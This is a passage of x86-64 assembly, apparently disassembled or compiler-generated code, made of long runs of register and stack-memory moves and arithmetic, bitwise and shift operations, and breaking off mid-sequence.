mov eax, dword [rsp + 0x6aa0]
shr eax, cl
mov rcx, qword [rsp + 0xd0c0]
mov dword [rcx], eax
lea rax, [rsp + 0x1794]
mov qword [0x1402c93b0], rax
movsx eax, word [rsp + 0x16f0]
mov rcx, qword [rsp + 0xc140]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xba20]
mov word [rcx], ax
mov rax, qword [rsp + 0xc9e8]
movzx eax, byte [rax]
mov byte [rsp + 0x109], al
mov rax, qword [rsp + 0xbfb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xca08]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbcf0]
mov byte [rcx], al
mov rax, qword [rsp + 0xcdc0]
movzx eax, word [rax]
mov word [rsp + 0x1828], ax
mov rax, qword [rsp + 0xc310]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc9c8], rax
mov rax, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xc790]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xbc50], rax
mov rax, qword [rsp + 0xd190]
mov eax, dword [rax]
mov dword [rsp + 0x6c14], eax
mov rax, qword [rsp + 0xcbb0]
mov ecx, dword [rsp + 0x6b8c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a5c], eax
movsx eax, word [rsp + 0x1530]
movsx ecx, word [rsp + 0x17a4]
sub eax, ecx
mov word [0x1402c74fc], ax
lea rax, [0x1402c74c6]
mov qword [rsp + 0xd2f0], rax
movsx eax, byte [rsp + 0x6c]
movsx ecx, byte [rsp + 0x62]
sub eax, ecx
mov byte [rsp + 0xca], al
mov rax, qword [rsp + 0xcdd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf5]
add eax, ecx
mov byte [rsp + 0x70], al
movzx eax, word [rsp + 0x16dc]
mov word [rsp + 0x182c], ax
mov rax, qword [rsp + 0xcc10]
mov rcx, qword [rsp + 0xc558]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc008]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbe68]
mov eax, dword [rax]
mov dword [rsp + 0x6c18], eax
mov rax, qword [rsp + 0xcf28]
mov eax, dword [rax]
imul eax, dword [0x1402c7498]
mov dword [rsp + 0x6aac], eax
mov rax, qword [rsp + 0xc6e8]
mov rax, qword [rax]
mov qword [rsp + 0xd2f8], rax
mov rax, qword [rsp + 0xbc10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd050]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1540], ax
movzx eax, byte [rsp + 0x69]
mov rcx, qword [rsp + 0xd088]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c74e2], al
mov rax, qword [rsp + 0xc910]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9b]
add eax, ecx
mov rcx, qword [rsp + 0xd228]
mov byte [rcx], al
mov rax, qword [rsp + 0xc838]
movzx eax, word [rax]
mov word [rsp + 0x1830], ax
mov rax, qword [rsp + 0xcea8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb8]
add eax, ecx
mov rcx, qword [rsp + 0xc158]
mov byte [rcx], al
lea rax, [rsp + 0x6ae4]
mov qword [rsp + 0xd300], rax
mov rax, qword [rsp + 0xd030]
mov rcx, qword [rsp + 0xc5a0]
mov qword [rsp + 0xd308], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd308]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xc810]
mov qword [rcx], rax
mov eax, dword [rsp + 0x68d8]
mov ecx, dword [rsp + 0x6b2c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ba0], eax
mov rax, qword [rsp + 0xbe28]
mov qword [rsp + 0xd310], rax
movzx eax, word [rsp + 0x16d4]
mov rcx, qword [rsp + 0xc098]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc5d8]
mov word [rcx], ax
lea rax, [rsp + 0x59]
mov qword [0x1402c93b8], rax
lea rax, [rsp + 0x81]
mov qword [rsp + 0xd318], rax
movzx eax, word [rsp + 0x1550]
movzx ecx, word [rsp + 0x182c]
or eax, ecx
mov word [rsp + 0x1768], ax
movzx eax, byte [rsp + 0xc1]
movzx ecx, byte [rsp + 0x59]
and eax, ecx
mov byte [rsp + 0x53], al
mov eax, dword [rsp + 0x6aa0]
mov dword [rsp + 0x6c1c], eax
mov eax, dword [rsp + 0x6a84]
mov ecx, dword [rsp + 0x6bf0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ab4], eax
lea rax, [rsp + 0xc460]
mov qword [rsp + 0xd320], rax
mov rax, qword [rsp + 0xc160]
mov rcx, qword [rsp + 0xc6a8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcd40]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc478]
movzx eax, word [rax]
mov word [rsp + 0x1834], ax
movsx eax, byte [rsp + 0x8d]
movsx ecx, byte [rsp + 0x7c]
add eax, ecx
mov byte [0x1402c90c3], al
mov rax, qword [rsp + 0xc288]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15f0]
sub eax, ecx
mov word [rsp + 0x1590], ax
mov rax, qword [rsp + 0xcaa0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59]
sub eax, ecx
mov rcx, qword [rsp + 0xbcf0]
mov byte [rcx], al
lea rax, [0x1402c74f8]
mov qword [rsp + 0xd328], rax
mov rax, qword [rsp + 0xc688]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc778]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc2b0], rax
lea rax, [rsp + 0xc7b8]
mov qword [rsp + 0xd330], rax
mov rax, qword [rsp + 0xc3e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b74]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xce98]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6b98]
mov ecx, dword [rsp + 0x6a60]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc6f0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x81]
mov byte [rsp + 0x10a], al
mov rax, qword [0x1402c9148]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xca18]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402c9260]
mov byte [rcx], al
movsx eax, word [rsp + 0x15bc]
mov rcx, qword [rsp + 0xccd0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbd10]
mov word [rcx], ax
lea rax, [rsp + 0x167c]
mov qword [rsp + 0xd338], rax
mov rax, qword [0x1402c92a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xce60]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x16d8], ax
mov rax, qword [rsp + 0xbfb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd2f0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xe5], al
lea rax, [rsp + 0x6a14]
mov qword [rsp + 0xd340], rax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcb78]
sar rax, cl
mov qword [rsp + 0xc550], rax
mov rax, qword [rsp + 0xd070]
mov eax, dword [rax]
mov dword [rsp + 0x6c20], eax
mov rax, qword [rsp + 0xbca8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc028]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
movsx eax, word [rsp + 0x170c]
mov rcx, qword [rsp + 0xc8a0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1402c7530], ax
movzx eax, word [rsp + 0x1808]
movzx ecx, word [rsp + 0x1730]
add eax, ecx
mov rcx, qword [rsp + 0xd2b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xf4]
mov byte [rsp + 0x10b], al
mov rax, qword [rsp + 0xbfc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59]
add eax, ecx
mov byte [rsp + 0xad], al
movzx eax, byte [rsp + 0x55]
mov byte [rsp + 0x10c], al
mov rax, qword [rsp + 0xcde0]
mov rcx, qword [rsp + 0xcff8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xce18]
mov qword [rcx], rax
lea rax, [rsp + 0xc0e8]
mov qword [rsp + 0xd348], rax
mov rax, qword [rsp + 0xcb50]
mov rcx, qword [rsp + 0xc738]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6b80], eax
mov rax, qword [rsp + 0xc038]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6990]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b84], eax
mov rax, qword [rsp + 0xbcd8]
movzx eax, word [rax]
mov word [0x1402c93c0], ax
movzx eax, byte [rsp + 0xaf]
mov byte [rsp + 0x10d], al
mov rax, qword [rsp + 0xc020]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc250]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc9a0]
mov byte [rcx], al
movzx eax, word [0x1402c74a8]
mov word [rsp + 0x1838], ax
movsx eax, word [rsp + 0x17dc]
mov rcx, qword [rsp + 0xc230]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x17f8], ax
mov rax, qword [rsp + 0xcbd0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6b10]
shl eax, cl
mov rcx, qword [rsp + 0xc960]
mov dword [rcx], eax
lea rax, [rsp + 0x6b24]
mov qword [rsp + 0xd350], rax
mov rax, qword [rsp + 0xc950]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbec8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd140], rax
mov rax, qword [rsp + 0xd210]
mov rax, qword [rax]
mov qword [rsp + 0xd358], rax
mov rax, qword [rsp + 0xc470]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
or eax, ecx
mov byte [0x1402c90c2], al
mov rax, qword [rsp + 0xc350]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd090]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xcc30]
mov word [rcx], ax
movzx eax, word [rsp + 0x1768]
mov rcx, qword [rsp + 0xbd80]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1704], ax
lea rax, [rsp + 0xb6]
mov qword [rsp + 0xd360], rax
movsx eax, word [rsp + 0x156c]
mov rcx, qword [rsp + 0xc998]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x163c], ax
lea rax, [rsp + 0x695c]
mov qword [rsp + 0xd368], rax
mov rax, qword [rsp + 0xc538]
mov rcx, qword [0x1402c7490]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xba08], rax
mov rax, qword [rsp + 0xc890]
mov ecx, dword [rsp + 0x69a8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcad0]
mov dword [rcx], eax
lea rax, [rsp + 0xbb08]
mov qword [rsp + 0xd370], rax
mov rax, qword [rsp + 0xc9d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8b]
sub eax, ecx
mov byte [0x1402c74d6], al
movzx eax, word [rsp + 0x16ec]
movzx ecx, word [rsp + 0x15a4]
sub eax, ecx
mov word [rsp + 0x162c], ax
movzx eax, word [rsp + 0x1724]
mov word [rsp + 0x183c], ax
movsx eax, byte [rsp + 0xe9]
mov rcx, qword [rsp + 0xc058]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc3c0]
mov byte [rcx], al
lea rax, [rsp + 0xa4]
mov qword [rsp + 0xd378], rax
mov rax, qword [rsp + 0xc1f8]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcee0], rax
mov rax, qword [rsp + 0xc850]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6918], eax
mov rax, qword [rsp + 0xc120]
mov qword [rsp + 0xd380], rax
mov rax, qword [rsp + 0xc038]
mov ecx, dword [rsp + 0x6b10]
imul ecx, dword [rax]
mov eax, ecx
mov rcx, qword [rsp + 0xc118]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc560]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1600]
and eax, ecx
mov word [0x1402c7534], ax
lea rax, [rsp + 0x17ec]
mov qword [rsp + 0xd388], rax
movzx eax, word [rsp + 0x1594]
mov rcx, qword [0x1402c92f0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x16cc], ax
movsx eax, word [rsp + 0x16b8]
movsx ecx, word [rsp + 0x17b4]
sar eax, cl
mov rcx, qword [rsp + 0xc140]
mov word [rcx], ax
movzx eax, byte [rsp + 0x106]
mov byte [rsp + 0x10e], al
mov rax, qword [rsp + 0xbf60]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1402c7490]
shl rax, cl
mov qword [rsp + 0xc028], rax
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov dword [rsp + 0x6c24], eax
mov rax, qword [rsp + 0xc808]
mov rcx, qword [rsp + 0xc4a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xbd20], rax
mov rax, qword [rsp + 0xc738]
mov rcx, qword [rsp + 0xcc40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd368]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd288]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1402c9348]
mov byte [rcx], al
mov rax, qword [rsp + 0xbca0]
movzx eax, word [rax]
mov word [rsp + 0x1840], ax
mov rax, qword [0x1402c9380]
movsx eax, byte [rax]
imul eax, eax, 0x7d
mov byte [rsp + 0x107], al
mov rax, qword [rsp + 0xcb18]
movzx eax, word [rax]
mov word [rsp + 0x1844], ax
mov rax, qword [rsp + 0xca90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc618]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x9d], al
mov eax, dword [rsp + 0x69ac]
mov dword [rsp + 0x6c28], eax
mov rax, qword [rsp + 0xc768]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6bc8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6af0], eax
mov rax, qword [rsp + 0xc5f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbd88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbf28], rax
mov rax, qword [rsp + 0xcf80]
mov qword [rsp + 0xd390], rax
mov rax, qword [rsp + 0xd2b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbf30]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402c7538], ax
movsx eax, byte [rsp + 0xb3]
movsx ecx, byte [0x1402c90b6]
add eax, ecx
mov byte [rsp + 0xf8], al
lea rax, [rsp + 0x92]
mov qword [rsp + 0xd398], rax
mov rax, qword [rsp + 0xca08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x83]
sub eax, ecx
mov rcx, qword [rsp + 0xd2f0]
mov byte [rcx], al
mov rax, qword [rsp + 0xba68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcef0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15c0], ax
mov rax, qword [rsp + 0xc3f0]
mov rax, qword [rax]
mov qword [rsp + 0xd3a0], rax
mov rax, qword [rsp + 0xc380]
mov ecx, dword [rsp + 0x6b28]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a44], eax
lea rax, [rsp + 0xc510]
mov qword [rsp + 0xd3a8], rax
mov rax, qword [rsp + 0xbe18]
mov ecx, dword [rsp + 0x6bf0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc960]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbd98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba68]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1814], ax
mov rax, qword [rsp + 0xc430]
movzx eax, byte [rax]
mov byte [0x1402c90c7], al
lea rax, [rsp + 0x99]
mov qword [rsp + 0xd3b0], rax
mov rax, qword [rsp + 0xbe90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc070]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xcb18]
mov word [rcx], ax
movzx eax, byte [rsp + 0xfe]
mov byte [rsp + 0x10f], al
mov rax, qword [rsp + 0xc498]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc3e8]
mov qword [rsp + 0xd3b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd3b8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6b7c], eax
mov rax, qword [rsp + 0xd238]
mov rcx, qword [rsp + 0xd330]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xc400]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd0b0]
mov qword [rsp + 0xd3c0], rax
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69e0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbe18]
mov dword [rcx], eax
movzx eax, word [rsp + 0x16dc]
mov word [rsp + 0x1848], ax
mov rax, qword [rsp + 0xc728]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1778]
add eax, ecx
mov word [0x1402c7528], ax
movzx eax, word [rsp + 0x171c]
movzx ecx, word [rsp + 0x175c]
sub eax, ecx
mov rcx, qword [rsp + 0xcfa0]
mov word [rcx], ax
lea rax, [rsp + 0x1710]
mov qword [rsp + 0xd3c8], rax
mov rax, qword [rsp + 0xd180]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xca18]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xce40]
mov byte [rcx], al
mov rax, qword [rsp + 0xc138]
mov ecx, dword [rsp + 0x69bc]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x69f0], eax
lea rax, [rsp + 0x68a0]
mov qword [rsp + 0xd3d0], rax
mov rax, qword [rsp + 0xc428]
mov rcx, qword [rsp + 0xcea0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc4c0], rax
lea rax, [rsp + 0xcdd0]
mov qword [rsp + 0xd3d8], rax
mov rax, qword [rsp + 0xcfe8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbfb0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcf88]
mov byte [rcx], al
movsx eax, byte [rsp + 0x106]
movsx ecx, byte [rsp + 0xec]
sub eax, ecx
mov byte [0x1402c74e3], al
movzx eax, byte [rsp + 0x82]
mov rcx, qword [rsp + 0xc430]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xbc], al
movzx eax, word [rsp + 0x168c]
mov word [rsp + 0x184c], ax
movsx eax, word [rsp + 0x16d0]
mov rcx, qword [0x1402c9130]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x167c], ax
mov eax, dword [rsp + 0x6af4]
mov dword [rsp + 0x6c2c], eax
mov rax, qword [rsp + 0xbad0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc978]
mov qword [rsp + 0xd3e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd3e0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x68f4], eax
mov rax, qword [rsp + 0xbf80]
mov rcx, qword [rsp + 0xc4d0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xd320]
mov qword [rcx], rax
lea rax, [rsp + 0xc358]
mov qword [rsp + 0xd3e8], rax
movzx eax, word [rsp + 0x162c]
movzx ecx, word [rsp + 0x1560]
or eax, ecx
mov rcx, qword [rsp + 0xd248]
mov word [rcx], ax
movsx eax, word [rsp + 0x15cc]
mov rcx, qword [rsp + 0xc208]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1402c9398]
mov word [rcx], ax
movzx eax, byte [rsp + 0x8d]
mov byte [rsp + 0x110], al
mov rax, qword [rsp + 0xc458]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc020]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xba78]
mov byte [rcx], al
movzx eax, byte [rsp + 0x56]
mov byte [rsp + 0x111], al
movsx eax, word [rsp + 0x17d8]
mov rcx, qword [rsp + 0xcb30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1804], ax
mov rax, qword [rsp + 0xc718]
mov rcx, qword [rsp + 0xcaf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcd40]
mov qword [rcx], rax
lea rax, [rsp + 0x6c2c]
mov qword [rsp + 0xd3f0], rax
mov rax, qword [rsp + 0xcde0]
mov rcx, qword [rsp + 0xc1b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbe30], rax
lea rax, [rsp + 0x6b38]
mov qword [rsp + 0xd3f8], rax
lea rax, [rsp + 0x75]
mov qword [0x1402c93c8], rax
movzx eax, word [rsp + 0x1558]
movzx ecx, word [rsp + 0x1808]
add eax, ecx
mov word [rsp + 0x1570], ax
movsx eax, byte [rsp + 0x5a]
movsx ecx, byte [rsp + 0xb2]
and eax, ecx
mov byte [rsp + 0x7e], al
mov rax, qword [rsp + 0xcac0]
movzx eax, byte [rax]
mov byte [rsp + 0x112], al
mov rax, qword [rsp + 0xc8d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbed8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xf1], al
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov dword [rsp + 0x6c30], eax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc9f8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd330]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcd50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a24]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc598]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc788]
mov qword [rsp + 0xd400], rax
mov rax, qword [rsp + 0xd050]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbcb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402c74c0], ax
mov rax, qword [rsp + 0xc0f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd180]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xe6], al
movzx eax, word [rsp + 0x152c]
mov word [rsp + 0x1850], ax
movsx eax, byte [rsp + 0x10e]
mov rcx, qword [rsp + 0xc8f8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xd3], al
movsx eax, word [rsp + 0x15b8]
mov rcx, qword [rsp + 0xcf70]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1804], ax
mov rax, qword [rsp + 0xc1a0]
mov qword [rsp + 0xd408], rax
mov rax, qword [rsp + 0xcd38]
mov rcx, qword [rsp + 0xc2c8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xd2a0], rax
lea rax, [rsp + 0x6b8c]
mov qword [rsp + 0xd410], rax
mov eax, dword [rsp + 0x6a80]
mov ecx, dword [rsp + 0x6aa0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc498]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x98]
movsx ecx, byte [rsp + 0xc5]
sub eax, ecx
mov rcx, qword [0x1402c9368]
mov byte [rcx], al
movzx eax, word [rsp + 0x1580]
mov word [rsp + 0x1854], ax
movsx eax, word [rsp + 0x156c]
mov rcx, qword [rsp + 0xcef0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x167c], ax
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0xd298]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc238]
mov byte [rcx], al
lea rax, [rsp + 0x156c]
mov qword [rsp + 0xd418], rax
mov rax, qword [rsp + 0xcbb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc180]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc090]
mov eax, dword [rax]
mov dword [rsp + 0x6c34], eax
mov rax, qword [rsp + 0xbca8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc0a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf10], rax
mov rax, qword [rsp + 0xd0c8]
mov rcx, qword [rsp + 0xca50]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xbe88], rax
lea rax, [rsp + 0x69]
mov qword [0x1402c93d0], rax
movzx eax, word [rsp + 0x16cc]
mov word [rsp + 0x1858], ax
movsx eax, byte [rsp + 0xbe]
mov rcx, qword [rsp + 0xd1b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc020]
mov byte [rcx], al
lea rax, [rsp + 0x17ec]
mov qword [rsp + 0xd420], rax
mov rax, qword [rsp + 0xd2b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16c4]
add eax, ecx
mov word [rsp + 0x1678], ax
mov rax, qword [rsp + 0xc2c8]
mov rcx, qword [rsp + 0xc780]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcdc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc2d8]
mov rax, qword [rax]
mov qword [rsp + 0xd428], rax
mov eax, dword [rsp + 0x6bc8]
movzx ecx, al
mov eax, dword [rsp + 0x6b48]
sar eax, cl
mov dword [rsp + 0x6bb8], eax
mov rax, qword [rsp + 0xcc88]
mov eax, dword [rax]
mov dword [rsp + 0x6c38], eax
movsx eax, word [rsp + 0x17f4]
movsx ecx, word [0x1402c91d8]
or eax, ecx
mov word [0x1402c9338], ax
mov rax, qword [rsp + 0xc8f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcf48]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xc1e0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1558]
mov rcx, qword [0x1402c91c0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x1780], ax
mov rax, qword [rsp + 0xc250]
movzx eax, byte [rax]
mov byte [rsp + 0x113], al
movzx eax, byte [rsp + 0x65]
mov rcx, qword [rsp + 0xd398]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xd360]
mov byte [rcx], al
mov rax, qword [rsp + 0xbf98]
mov rax, qword [rax]
mov qword [rsp + 0xd430], rax
mov rax, qword [rsp + 0xbf78]
mov rcx, qword [rsp + 0xc6f0]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6bcc], eax
mov eax, dword [rsp + 0x69e8]
mov dword [rsp + 0x6c3c], eax
mov rax, qword [rsp + 0xcf30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc690]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc808]
mov qword [rcx], rax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc320]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c74e6], al
mov rax, qword [rsp + 0xccb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbf40]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5e], al
movzx eax, byte [rsp + 0xfc]
mov byte [rsp + 0x114], al
movsx eax, word [0x1402c9318]
mov rcx, qword [rsp + 0xcac8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1614], ax
movzx eax, word [rsp + 0x17b4]
mov word [rsp + 0x185c], ax
mov rax, qword [rsp + 0xbce8]
mov rcx, qword [rsp + 0xc480]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc980], rax
mov rax, qword [rsp + 0xc3e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6980]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd300]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc0d8]
mov rax, qword [rax]
mov qword [rsp + 0xd438], rax
mov rax, qword [rsp + 0xbd78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a64]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd1e8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x90]
mov rcx, qword [rsp + 0xcad8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1402c9380]
mov byte [rcx], al
lea rax, [rsp + 0x92]
mov qword [rsp + 0xd440], rax
movsx eax, word [rsp + 0x15e8]
movsx ecx, word [rsp + 0x1568]
sub eax, ecx
mov rcx, qword [rsp + 0xc728]
mov word [rcx], ax
movzx eax, word [rsp + 0x171c]
mov rcx, qword [rsp + 0xca60]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x16b0], ax
mov rax, qword [rsp + 0xd110]
movzx eax, word [rax]
mov word [rsp + 0x1860], ax
mov rax, qword [rsp + 0xcf20]
movzx ecx, al
mov rax, qword [rsp + 0xc468]
